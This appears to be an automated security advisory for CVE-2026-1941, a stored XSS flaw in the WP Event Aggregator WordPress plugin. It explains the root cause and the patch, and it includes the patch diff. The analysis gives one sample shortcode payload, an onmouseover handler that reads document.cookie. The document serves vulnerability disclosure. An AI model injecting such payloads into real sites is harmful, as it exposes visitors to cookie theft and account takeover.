Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-1941: WP Event Aggregator <= 1.8.7 – Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode Attributes (wp-event-aggregator)

CVE ID CVE-2026-1941
Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 1.8.7
Patched Version 1.9.0
Disclosed February 16, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-1941:
This vulnerability is an authenticated stored cross-site scripting (XSS) flaw in the WP Event Aggregator WordPress plugin. The vulnerability exists in the plugin’s ‘wp_events’ shortcode handler. Attackers with Contributor-level access or higher can inject malicious scripts into pages via shortcode attributes. These scripts execute when a user views the compromised page. The CVSS score of 6.4 reflects the moderate impact of this stored XSS.

Atomic Edge research identifies the root cause as insufficient input sanitization and output escaping of user-supplied shortcode attributes. The vulnerable function is `wp_events_archive()` in the file `wp-event-aggregator/includes/class-wp-event-aggregator-cpt.php`. Before the patch, the function directly used the `$atts` array without validation. The function receives attributes from the shortcode `[wp_events]` and passes them directly into the page output. The specific line of concern is `data-shortcode=”` at line 761, where unsanitized attributes are embedded into the HTML document object model (DOM).

The exploitation method requires an authenticated attacker with at least Contributor privileges. The attacker creates or edits a post or page and inserts the `[wp_events]` shortcode with malicious attributes. For example, an attacker could use a payload like `[wp_events col=”2″ onmouseover=”alert(document.cookie)”]`. When the page renders, the plugin processes the shortcode and outputs the unsanitized attribute values. The malicious JavaScript executes in the victim’s browser when they view the page containing the shortcode. The attack vector is entirely within the WordPress editor, leveraging the plugin’s failure to sanitize shortcode input.

The patch adds comprehensive input validation and output escaping within the `wp_events_archive()` function. The changes begin at line 566 in the same file. The patch first casts `$atts` to an array. It then applies type-specific sanitization: `absint()` for integer attributes like `paged`, `posts_per_page`, and `col`. It uses whitelists for the `layout` and `orderby` parameters. The patch sanitizes the `category` parameter by splitting the string, trimming values, and applying `absint()` or `sanitize_title()`. It applies `sanitize_text_field()` to date parameters `start_date` and `end_date`. Crucially, at line 794, the patch replaces the insecure `wp_json_encode($atts)` with `esc_attr(wp_json_encode($atts, JSON_HEX_TAG|JSON_HEX_AMP|JSON_HEX_APOS|JSON_HEX_QUOT))`. This ensures the JSON string is safe for HTML attribute context.

Successful exploitation allows an attacker to inject arbitrary JavaScript code that executes in the context of any user viewing the compromised page. This can lead to session hijacking, account takeover, defacement, or redirection to malicious sites. Attackers can steal authentication cookies, manipulate page content, or perform actions on behalf of the victim. The stored nature of the attack means the payload persists and affects all subsequent visitors until removed.

Differential between vulnerable and patched code

Code Diff
--- a/wp-event-aggregator/includes/class-wp-event-aggregator-admin.php
+++ b/wp-event-aggregator/includes/class-wp-event-aggregator-admin.php
@@ -445,7 +445,7 @@
 	public function add_event_aggregator_credit( $footer_text ){
 		$page = isset( $_GET['page'] ) ? esc_attr( sanitize_text_field( wp_unslash( $_GET['page'] ) ) ) : ''; // phpcs:ignore WordPress.Security.NonceVerification.Recommended
 		if ( $page != '' && $page == 'import_events' ) {
-			$rate_url = 'https://wordpress.org/support/plugin/wp-event-aggregator/reviews/?rate=5#new-post';
+			$rate_url = 'https://wordpress.org/support/plugin/wp-event-aggregator/reviews/';
 			$footer_text .= sprintf(
 				// translators: %1$s: Opening HTML tag for WP Event Aggregator, %2$s: Closing HTML tag for WP Event Aggregator, %3$s: The star rating link
 				esc_html__( ' Rate %1$sWP Event Aggregator%2$s %3$s', 'wp-event-aggregator' ),
@@ -536,7 +536,7 @@
 	 */
 	public function wpea_view_import_history_handler() {
 		if( ! defined( 'IFRAME_REQUEST' ) ){
-		    define( 'IFRAME_REQUEST', true );
+		    define( 'IFRAME_REQUEST', true ); // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedConstantFound
 		}
 	    iframe_header();
 	    $history_id = isset( $_GET['history'] ) ? absint( $_GET['history'] ) : 0; // phpcs:ignore WordPress.Security.NonceVerification.Recommended
@@ -696,7 +696,7 @@
 	public function wpea_wp_cron_check() {
 		global $wpea_errors;

-		if ( ! is_admin() || empty($_GET['page']) || empty($_GET['tab']) || $_GET['page'] !== 'import_events' || $_GET['tab']  !== 'scheduled' ) {
+		if (  ! is_admin()  || empty( $_GET['page'] )  || empty( $_GET['tab'] )  || sanitize_text_field( wp_unslash( $_GET['page'] ) ) !== 'import_events'  || sanitize_text_field( wp_unslash( $_GET['tab'] ) ) !== 'scheduled'  ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended
 			return;
 		}

--- a/wp-event-aggregator/includes/class-wp-event-aggregator-aioec.php
+++ b/wp-event-aggregator/includes/class-wp-event-aggregator-aioec.php
@@ -167,7 +167,21 @@
 			}

 			// Assign Featured images
-			$event_image = $centralize_array['image_url'];
+			$event_image = $centralize_array['image_url'] ?? '';
+			$url         = $centralize_array['url'] ?? '';
+			$match       = 'https://www.facebook.com/events/';
+
+			if (
+				empty($event_image) &&
+				strpos($url, $match) !== false &&
+				( $event_args['import_origin'] ?? '' ) === 'ical' &&
+				isset($importevents->common_pro) &&
+				is_object($importevents->common_pro) &&
+				method_exists($importevents->common_pro, 'wpea_get_facebook_event_url')
+			) {
+				$event_image = $importevents->common_pro->wpea_get_facebook_event_url($origin_event_id);
+			}
+
 			if ( ! empty( $event_image ) ) {
 				$importevents->common->wpea_set_feature_image_logic( $inserted_event_id, $event_image, $event_args );
 			}else{
@@ -207,7 +221,7 @@
 				'start'   => $start_time,
 				'end' 	  => $end_time,
 			);
-// phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared, WordPress.DB.PreparedSQL.NotPrepared, WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching, WordPress.DB.DirectDatabaseQuery.SchemaChange
+			// phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared, WordPress.DB.PreparedSQL.NotPrepared, WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching, WordPress.DB.DirectDatabaseQuery.SchemaChange, PluginCheck.Security.DirectDB.UnescapedDBParameter
 			$event_count = $wpdb->get_var( "SELECT COUNT(*) FROM $this->event_instances_table WHERE `post_id` = ".absint( $inserted_event_id ) );
 			if( $event_count > 0 && is_numeric( $event_count ) ){
 				$where = array( 'post_id' => absint( $inserted_event_id ) );
@@ -315,7 +329,7 @@
 			if( $lon != '' ){
 				$event_format[] = '%f';  // longitude
 			}
-			// phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared, WordPress.DB.PreparedSQL.NotPrepared, WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching, WordPress.DB.DirectDatabaseQuery.SchemaChange
+			// phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared, WordPress.DB.PreparedSQL.NotPrepared, WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching, WordPress.DB.DirectDatabaseQuery.SchemaChange, PluginCheck.Security.DirectDB.UnescapedDBParameter
 			$event_exist_count = $wpdb->get_var( "SELECT COUNT(*) FROM $this->event_db_table WHERE `post_id` = ".absint( $inserted_event_id ) );
 			if( $event_exist_count > 0 && is_numeric( $event_exist_count ) ){
 				$where = array( 'post_id' => absint( $inserted_event_id ) );
--- a/wp-event-aggregator/includes/class-wp-event-aggregator-ajax.php
+++ b/wp-event-aggregator/includes/class-wp-event-aggregator-ajax.php
@@ -27,12 +27,12 @@
 	}

 	public function wpea_load_paged_events_callback() {
-		if ( empty( $_POST['atts'] ) || empty( $_POST['page'] ) ) {
+		if ( empty( $_POST['atts'] ) || empty( $_POST['page'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Missing
 			wp_send_json_error( 'Missing params' );
 		}

-		$atts          = json_decode( stripslashes( $_POST['atts'] ), true );
-		$atts['paged'] = intval( $_POST['page'] );
+		$atts          = json_decode( stripslashes( $_POST['atts'] ), true ); // phpcs:ignore WordPress.Security.NonceVerification.Missing, WordPress.Security.ValidatedSanitizedInput.MissingUnslash, WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
+		$atts['paged'] = intval( $_POST['page'] ); // phpcs:ignore WordPress.Security.NonceVerification.Missing
 		$html          = do_shortcode( '[wp_events ' . http_build_query( $atts, '', ' ' ) . ']' );

 		wp_send_json_success( $html );
--- a/wp-event-aggregator/includes/class-wp-event-aggregator-api.php
+++ b/wp-event-aggregator/includes/class-wp-event-aggregator-api.php
@@ -265,7 +265,7 @@

 		$json_data = json_encode($payload);
 		if ($json_data === false) {
-			throw new Exception('JSON encode error: ' . json_last_error_msg());
+			throw new Exception('JSON encode error: ' . json_last_error_msg()); //phpcs:ignore WordPress.Security.EscapeOutput.ExceptionNotEscaped
 		}

 		$context = stream_context_create([
@@ -285,7 +285,7 @@

 		$response = json_decode($data, true);
 		if (isset($response['errors'])) {
-			error_log('GraphQL API returned errors: ' . print_r($response['errors'], true));
+			error_log('GraphQL API returned errors: ' . print_r($response['errors'], true)); //phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_error_log, WordPress.PHP.DevelopmentFunctions.error_log_print_r
 		}

 		return $response;
--- a/wp-event-aggregator/includes/class-wp-event-aggregator-common.php
+++ b/wp-event-aggregator/includes/class-wp-event-aggregator-common.php
@@ -1409,7 +1409,7 @@
 			AND pm.meta_key = %s";

 		$prepared_sql = $wpdb->prepare( $sql, $current_time, $current_time, 'wp_events', 'publish', 'end_ts' ); // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared
-		// phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared, WordPress.DB.PreparedSQL.NotPrepared, WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching, WordPress.DB.DirectDatabaseQuery.SchemaChange
+		// phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared, WordPress.DB.PreparedSQL.NotPrepared, WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching, WordPress.DB.DirectDatabaseQuery.SchemaChange, PluginCheck.Security.DirectDB.UnescapedDBParameter
 		$counts       = $wpdb->get_row( $prepared_sql );

 		// Return the counts as an array
--- a/wp-event-aggregator/includes/class-wp-event-aggregator-cpt.php
+++ b/wp-event-aggregator/includes/class-wp-event-aggregator-cpt.php
@@ -566,6 +566,42 @@
 	 */
 	public function wp_events_archive( $atts = array() ){
 		//[wp_events col='2' layout="style2" posts_per_page='12' category="cat1,cat2" past_events="yes" order="desc" orderby="" start_date="" end_date="" ]
+		$atts = (array) $atts;
+		/* integers */
+		$atts['paged']          = isset($atts['paged']) ? absint($atts['paged']) : 1;
+		$atts['posts_per_page'] = isset($atts['posts_per_page']) ? absint($atts['posts_per_page']) : '';
+		$atts['col']            = isset($atts['col']) ? absint($atts['col']) : '2';
+
+		/* yes/no flags */
+		$atts['ajaxpagi']    = (isset($atts['ajaxpagi']) && $atts['ajaxpagi'] === 'yes') ? 'yes' : 'no';
+		$atts['past_events'] = (isset($atts['past_events']) && ($atts['past_events'] === 'yes' || $atts['past_events'] === true)) ? 'yes' : '';
+
+		/* layout whitelist */
+		$allowed_layouts = array( 'style1', 'style2', 'style3', 'style4' );
+		$atts['layout'] = (isset($atts['layout']) && in_array($atts['layout'], $allowed_layouts, true)) ? $atts['layout'] : 'style1';
+
+		/* order */
+		$atts['order'] = (isset($atts['order']) && strtoupper($atts['order']) === 'DESC') ? 'DESC' : 'ASC';
+
+		/* orderby whitelist */
+		$allowed_orderby = array( 'post_title', 'meta_value', 'event_start_date' );
+		$atts['orderby'] = (isset($atts['orderby']) && in_array($atts['orderby'], $allowed_orderby, true)) ? $atts['orderby'] : '';
+
+		/* category */
+		$category_str = isset( $atts['category'] ) ? urldecode( $atts['category'] ) : '';
+		if (!empty($category_str)) {
+			$cats = array_map( 'trim', explode( ',', $category_str ) );
+			$clean = array();
+			foreach ($cats as $c) {
+				$clean[] = is_numeric($c) ? absint($c) : sanitize_title($c);
+			}
+			$atts['category'] = implode(',', $clean);
+		}
+
+		/* dates */
+		$atts['start_date'] = isset( $atts['start_date'] ) ? sanitize_text_field( $atts['start_date'] ) : '';
+		$atts['end_date']   = isset( $atts['end_date'] ) ? sanitize_text_field( $atts['end_date'] ) : '';
+
 		$current_date = current_time('timestamp');
 		$ajaxpagi     = isset( $atts['ajaxpagi'] ) ? $atts['ajaxpagi'] : '';
 		if ( $ajaxpagi != 'yes' ) {
@@ -758,7 +794,7 @@
         }
 		ob_start();
 		?>
-		<div class="row_grid wpea_frontend_archive" data-paged="<?php echo esc_attr( $paged ); ?>" data-shortcode='<?php echo wp_json_encode( $atts ); ?>' >
+		<div class="row_grid wpea_frontend_archive" data-paged="<?php echo esc_attr( $paged ); ?>" data-shortcode="<?php echo esc_attr( wp_json_encode($atts, JSON_HEX_TAG|JSON_HEX_AMP|JSON_HEX_APOS|JSON_HEX_QUOT) ); ?>" >
 			<?php
 			$template_args = array();
             $template_args['css_class'] = $css_class;
@@ -785,12 +821,12 @@
 							<nav class="prev-next-posts">
 								<div class="prev-posts-link alignright">
 									<?php if( $paged < $wp_events->max_num_pages ) : ?>
-										<a href="#" class="wpea-next-page" data-page="<?php echo $paged + 1; ?>"><?php esc_attr_e( 'Next Events »' ); ?></a>
+										<a href="#" class="wpea-next-page" data-page="<?php echo esc_html( $paged + 1 ); ?>"><?php esc_attr_e( 'Next Events »', 'wp-event-aggregator' ); ?></a>
 									<?php endif; ?>
 								</div>
 								<div class="next-posts-link alignleft">
 									<?php if( $paged > 1 ) : ?>
-										<a href="#" class="wpea-prev-page" data-page="<?php echo $paged - 1; ?>"><?php esc_attr_e( '« Previous Events' ); ?></a>
+										<a href="#" class="wpea-prev-page" data-page="<?php echo esc_html( $paged - 1 ); ?>"><?php esc_attr_e( '« Previous Events', 'wp-event-aggregator' ); ?></a>
 									<?php endif; ?>
 								</div>
 							</nav>
--- a/wp-event-aggregator/includes/class-wp-event-aggregator-ee4.php
+++ b/wp-event-aggregator/includes/class-wp-event-aggregator-ee4.php
@@ -155,7 +155,21 @@
 			}

 			// Assign Featured images
-			$event_image = $centralize_array['image_url'];
+			$event_image = $centralize_array['image_url'] ?? '';
+			$url         = $centralize_array['url'] ?? '';
+			$match       = 'https://www.facebook.com/events/';
+
+			if (
+				empty($event_image) &&
+				strpos($url, $match) !== false &&
+				( $event_args['import_origin'] ?? '' ) === 'ical' &&
+				isset($importevents->common_pro) &&
+				is_object($importevents->common_pro) &&
+				method_exists($importevents->common_pro, 'wpea_get_facebook_event_url')
+			) {
+				$event_image = $importevents->common_pro->wpea_get_facebook_event_url($origin_event_id);
+			}
+
 			if ( ! empty( $event_image ) ) {
 				$importevents->common->wpea_set_feature_image_logic( $inserted_event_id, $event_image, $event_args );
 			}else{
@@ -199,7 +213,7 @@
 					'EVT_display_ticket_selector' => 0,
 					'EVT_visible_on'			  => gmdate('Y-m-d H:i:s')
 				);
-				// phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared, WordPress.DB.PreparedSQL.NotPrepared, WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching, WordPress.DB.DirectDatabaseQuery.SchemaChange
+				// phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared, WordPress.DB.PreparedSQL.NotPrepared, WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching, WordPress.DB.DirectDatabaseQuery.SchemaChange, PluginCheck.Security.DirectDB.UnescapedDBParameter
 				$event_meta_id = $wpdb->get_var( $wpdb->prepare( "SELECT `EVTM_ID` FROM {$event_meta_table} WHERE EVT_ID = %d", $inserted_event_id ) );
 				if( !empty($event_meta_id) && $event_meta_id > 0 ){
 					// phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared, WordPress.DB.PreparedSQL.NotPrepared, WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching, WordPress.DB.DirectDatabaseQuery.SchemaChange
@@ -220,7 +234,7 @@
 			if( !empty( $venue_id ) && $venue_id > 0 ){
 				// Connect venue with Event
 				$event_venue_table = $wpdb->prefix . 'esp_event_venue';
-				// phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared, WordPress.DB.PreparedSQL.NotPrepared, WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching, WordPress.DB.DirectDatabaseQuery.SchemaChange
+				// phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared, WordPress.DB.PreparedSQL.NotPrepared, WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching, WordPress.DB.DirectDatabaseQuery.SchemaChange, PluginCheck.Security.DirectDB.UnescapedDBParameter
 				$result = $wpdb->get_col( $wpdb->prepare( "SELECT * FROM {$event_venue_table} WHERE EVT_ID = %d", $inserted_event_id ) );
 				if( count( $result ) > 0 ){
 					// phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared, WordPress.DB.PreparedSQL.NotPrepared, WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching, WordPress.DB.DirectDatabaseQuery.SchemaChange
@@ -338,7 +352,7 @@
 		$country_table = $wpdb->prefix . 'esp_country';
 		$state_table = $wpdb->prefix . 'esp_state';
 		if( $venue_country != ''){
-			// phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared, WordPress.DB.PreparedSQL.NotPrepared, WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching, WordPress.DB.DirectDatabaseQuery.SchemaChange
+			// phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared, WordPress.DB.PreparedSQL.NotPrepared, WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching, WordPress.DB.DirectDatabaseQuery.SchemaChange, PluginCheck.Security.DirectDB.UnescapedDBParameter
 			$cnt_country = $wpdb->get_row( $wpdb->prepare( "SELECT `CNT_ISO`,`CNT_active` FROM {$country_table} WHERE `CNT_name` = %s OR `CNT_ISO` = %s OR `CNT_ISO3` = %s", $venue_country, $venue_country, $venue_country ) );
 			if( !empty( $cnt_country ) && isset( $cnt_country->CNT_ISO ) ){
 				$cnt_iso = $cnt_country->CNT_ISO;
@@ -350,7 +364,7 @@
 		}

 		if( $venue_state != '' && $cnt_iso != ''){
-			// phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared, WordPress.DB.PreparedSQL.NotPrepared, WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching, WordPress.DB.DirectDatabaseQuery.SchemaChange
+			// phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared, WordPress.DB.PreparedSQL.NotPrepared, WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching, WordPress.DB.DirectDatabaseQuery.SchemaChange, PluginCheck.Security.DirectDB.UnescapedDBParameter
 			$sta_id = $wpdb->get_var( $wpdb->prepare( "SELECT `STA_ID` FROM {$state_table} WHERE `CNT_ISO` = %s AND (`STA_abbrev` = %s OR `STA_name` = %s)", $cnt_iso, $venue_state, $venue_state ) );
 			if( empty( $sta_id ) || is_null( $sta_id ) ){
 				// phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared, WordPress.DB.PreparedSQL.NotPrepared, WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching, WordPress.DB.DirectDatabaseQuery.SchemaChange
--- a/wp-event-aggregator/includes/class-wp-event-aggregator-em.php
+++ b/wp-event-aggregator/includes/class-wp-event-aggregator-em.php
@@ -167,7 +167,21 @@
 			}

 			// Assign Featured images
-			$event_image = $centralize_array['image_url'];
+			$event_image = $centralize_array['image_url'] ?? '';
+			$url         = $centralize_array['url'] ?? '';
+			$match       = 'https://www.facebook.com/events/';
+
+			if (
+				empty($event_image) &&
+				strpos($url, $match) !== false &&
+				( $event_args['import_origin'] ?? '' ) === 'ical' &&
+				isset($importevents->common_pro) &&
+				is_object($importevents->common_pro) &&
+				method_exists($importevents->common_pro, 'wpea_get_facebook_event_url')
+			) {
+				$event_image = $importevents->common_pro->wpea_get_facebook_event_url($origin_event_id);
+			}
+
 			if ( ! empty( $event_image ) ) {
 				$importevents->common->wpea_set_feature_image_logic( $inserted_event_id, $event_image, $event_args );
 			}else{
--- a/wp-event-aggregator/includes/class-wp-event-aggregator-event_organizer.php
+++ b/wp-event-aggregator/includes/class-wp-event-aggregator-event_organizer.php
@@ -164,7 +164,21 @@
 			}

 			// Assign Featured images
-			$event_image = $centralize_array['image_url'];
+			$event_image = $centralize_array['image_url'] ?? '';
+			$url         = $centralize_array['url'] ?? '';
+			$match       = 'https://www.facebook.com/events/';
+
+			if (
+				empty($event_image) &&
+				strpos($url, $match) !== false &&
+				( $event_args['import_origin'] ?? '' ) === 'ical' &&
+				isset($importevents->common_pro) &&
+				is_object($importevents->common_pro) &&
+				method_exists($importevents->common_pro, 'wpea_get_facebook_event_url')
+			) {
+				$event_image = $importevents->common_pro->wpea_get_facebook_event_url($origin_event_id);
+			}
+
 			if ( ! empty( $event_image ) ) {
 				$importevents->common->wpea_set_feature_image_logic( $inserted_event_id, $event_image, $event_args );
 			}else{
@@ -220,7 +234,7 @@
 				'event_occurrence' => 0,
 			);

-			// phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared, WordPress.DB.PreparedSQL.NotPrepared, WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching, WordPress.DB.DirectDatabaseQuery.SchemaChange
+			// phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared, WordPress.DB.PreparedSQL.NotPrepared, WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching, WordPress.DB.DirectDatabaseQuery.SchemaChange, PluginCheck.Security.DirectDB.UnescapedDBParameter
 			$event_count = $wpdb->get_var( "SELECT COUNT(*) FROM $this->event_db_table WHERE `post_id` = ".absint( $inserted_event_id ) );
 			if( $event_count > 0 && is_numeric( $event_count ) ){
 				$where = array( 'post_id' => absint( $inserted_event_id ) );
--- a/wp-event-aggregator/includes/class-wp-event-aggregator-eventon.php
+++ b/wp-event-aggregator/includes/class-wp-event-aggregator-eventon.php
@@ -179,7 +179,21 @@
 			}

 			// Assign Featured images
-			$event_image = $centralize_array['image_url'];
+			$event_image = $centralize_array['image_url'] ?? '';
+			$url         = $centralize_array['url'] ?? '';
+			$match       = 'https://www.facebook.com/events/';
+
+			if (
+				empty($event_image) &&
+				strpos($url, $match) !== false &&
+				( $event_args['import_origin'] ?? '' ) === 'ical' &&
+				isset($importevents->common_pro) &&
+				is_object($importevents->common_pro) &&
+				method_exists($importevents->common_pro, 'wpea_get_facebook_event_url')
+			) {
+				$event_image = $importevents->common_pro->wpea_get_facebook_event_url($origin_event_id);
+			}
+
 			if ( ! empty( $event_image ) ) {
 				$importevents->common->wpea_set_feature_image_logic( $inserted_event_id, $event_image, $event_args );
 			}else{
--- a/wp-event-aggregator/includes/class-wp-event-aggregator-eventprime.php
+++ b/wp-event-aggregator/includes/class-wp-event-aggregator-eventprime.php
@@ -150,7 +150,21 @@
 			}

 			// Assign Featured images
-			$event_image = $centralize_array['image_url'];
+			$event_image = $centralize_array['image_url'] ?? '';
+			$url         = $centralize_array['url'] ?? '';
+			$match       = 'https://www.facebook.com/events/';
+
+			if (
+				empty($event_image) &&
+				strpos($url, $match) !== false &&
+				( $event_args['import_origin'] ?? '' ) === 'ical' &&
+				isset($importevents->common_pro) &&
+				is_object($importevents->common_pro) &&
+				method_exists($importevents->common_pro, 'wpea_get_facebook_event_url')
+			) {
+				$event_image = $importevents->common_pro->wpea_get_facebook_event_url($origin_event_id);
+			}
+
 			if ( ! empty( $event_image ) ) {
 				$importevents->common->wpea_set_feature_image_logic( $inserted_event_id, $event_image, $event_args );
 			}else{
--- a/wp-event-aggregator/includes/class-wp-event-aggregator-facebook.php
+++ b/wp-event-aggregator/includes/class-wp-event-aggregator-facebook.php
@@ -251,9 +251,11 @@
 	 *
 	 * @since 1.0.0
 	 */
-	public function generate_facebook_api_url( $path = '', $query_args = array() ) {
+	public function generate_facebook_api_url( $path = '', $query_args = array(), $access_token = '' ) {
 		$query_args = array_merge( $query_args, array( 'access_token' => $this->get_access_token() ) );
-
+		if ( ! empty( $access_token ) ) {
+			$query_args['access_token'] = $access_token;
+		}
 		$url = add_query_arg( $query_args, $this->fb_graph_url . $path );

 		return $url;
@@ -511,17 +513,23 @@
 	 * @param array $organizer_id Organizer event.
 	 * @return array
 	 */
-	public function get_organizer_name_by_id( $organizer_id ) {
-
-		if( !$organizer_id || $organizer_id == '' ){
+	public function get_organizer_name_by_id( $organizer_id, $full_data = false ) {
+		if( !$organizer_id || empty( $organizer_id ) ){
 			return;
 		}

 		$organizer_raw_data = $this->get_facebook_response_data( $organizer_id, array() );
+		if( isset( $organizer_raw_data->error->message ) ){
+			return false;
+		}
+
 		if( ! isset( $organizer_raw_data->name ) ){
-			return '';
+			return false;
 		}

+		if ( $full_data ) {
+			return $organizer_raw_data;
+		}
 		$oraganizer_name = isset( $organizer_raw_data->name ) ? $organizer_raw_data->name : '';
 		return $oraganizer_name;

--- a/wp-event-aggregator/includes/class-wp-event-aggregator-fb-authorize.php
+++ b/wp-event-aggregator/includes/class-wp-event-aggregator-fb-authorize.php
@@ -102,17 +102,36 @@
 					   	}

 					   	update_option('wpea_fb_authorize_user', $wpea_fb_authorize_user );
+
+						//getting page token
+						$args          = array( 'timeout' => 15 );
+						$accounts_call = wp_remote_get( 'https://graph.facebook.com/' . $api_version . "/me/accounts?access_token=$access_token&limit=100&offset=0", $args );
+						$accounts      = wp_remote_retrieve_body( $accounts_call );
+						$accounts      = json_decode( $accounts );
+						$accounts      = isset( $accounts->data ) ? $accounts->data : array();
+						if ( ! empty( $accounts ) ) {
+							$pages = array();
+							foreach ( $accounts as $account ) {
+								$pages[ $account->id ] = array(
+									'id'           => $account->id,
+									'name'         => $account->name,
+									'access_token' => $account->access_token,
+								);
+							}
+							update_option( 'wpea_fb_user_pages', $pages );
+						}
+
 					   	$redirect_url = admin_url('admin.php?page=import_events&tab=settings&wauthorize=1');
-					    wp_redirect($redirect_url);
+					    wp_safe_redirect($redirect_url);
 					    exit();
 					}else{
 						$redirect_url = admin_url('admin.php?page=import_events&tab=settings&wauthorize=0');
-					    wp_redirect($redirect_url);
+					    wp_safe_redirect($redirect_url);
 					    exit();
 					}
 				} else {
 					$redirect_url = admin_url('admin.php?page=import_events&tab=settings&wauthorize=2');
-					wp_redirect($redirect_url);
+					wp_safe_redirect($redirect_url);
 					exit();
 					die( esc_attr__( 'Please insert Facebook App ID and Secret.', 'wp-event-aggregator' ) );
 				}
--- a/wp-event-aggregator/includes/class-wp-event-aggregator-ical_parser.php
+++ b/wp-event-aggregator/includes/class-wp-event-aggregator-ical_parser.php
@@ -338,10 +338,6 @@
 			$timezone_name = $cwt_start['timezone_name'];
 			$start_time    = strtotime( $cwt_start['date_format'] );
 			$end_time      = strtotime( $cwt_end['date_format'] );
-
-			if ( isset( $importevents->common_pro ) && is_object($importevents->common_pro) && method_exists( $importevents->common_pro, 'wpea_get_facebook_event_url' ) ) {
-				$event_image = $importevents->common_pro->wpea_get_facebook_event_url( $uid );
-			}
 		}

 		$post_description = $importevents->common->wpea_remove_facebook_link_in_event_description( $post_description, $uid );
--- a/wp-event-aggregator/includes/class-wp-event-aggregator-ical_parser_aioec.php
+++ b/wp-event-aggregator/includes/class-wp-event-aggregator-ical_parser_aioec.php
@@ -363,9 +363,6 @@
 			$start_time    = strtotime( $cwt_start['date_format'] );
 			$end_time      = strtotime( $cwt_end['date_format'] );

-			if ( isset( $importevents->common_pro ) && is_object($importevents->common_pro) && method_exists( $importevents->common_pro, 'wpea_get_facebook_event_url' ) ) {
-				$event_image = $importevents->common_pro->wpea_get_facebook_event_url( $uid );
-			}
 		}

 		$post_description = $importevents->common->wpea_remove_facebook_link_in_event_description( $post_description, $uid );
--- a/wp-event-aggregator/includes/class-wp-event-aggregator-manage-import.php
+++ b/wp-event-aggregator/includes/class-wp-event-aggregator-manage-import.php
@@ -56,6 +56,7 @@
 			$event_data['event_cats'] = isset( $_POST['event_cats'] ) ? array_map( 'sanitize_text_field', wp_unslash( $_POST['event_cats'] ) ) : array();
 			$event_data['event_cats2'] = isset( $_POST['event_cats2'] ) ? array_map( 'sanitize_text_field', wp_unslash( $_POST['event_cats2'] ) ) : array();

+			$event_data['import_origin'] = isset( $_POST['import_origin'] ) ? esc_attr( sanitize_text_field( wp_unslash( $_POST['import_origin'] ) ) )  : '';
 			$event_origin = sanitize_text_field( wp_unslash( $_POST['import_origin'] ) );
 			switch ( $event_origin ) {
 				case 'eventbrite':
@@ -132,7 +133,7 @@
 				if ( $post_type == 'xt_scheduled_imports' ) {
 					wp_delete_post( $import_id, true );
 					$query_args = array( 'imp_msg' => 'import_del', 'tab' => $tab );
-        			wp_redirect(  add_query_arg( $query_args, $wp_redirect ) );
+        			wp_safe_redirect(  add_query_arg( $query_args, $wp_redirect ) );
 					exit;
 				}
 			}
@@ -146,7 +147,7 @@
 			if ( $history_id > 0 ) {
 				wp_delete_post( $history_id, true );
 				$query_args = array( 'imp_msg' => 'history_del', 'tab' => $tab );
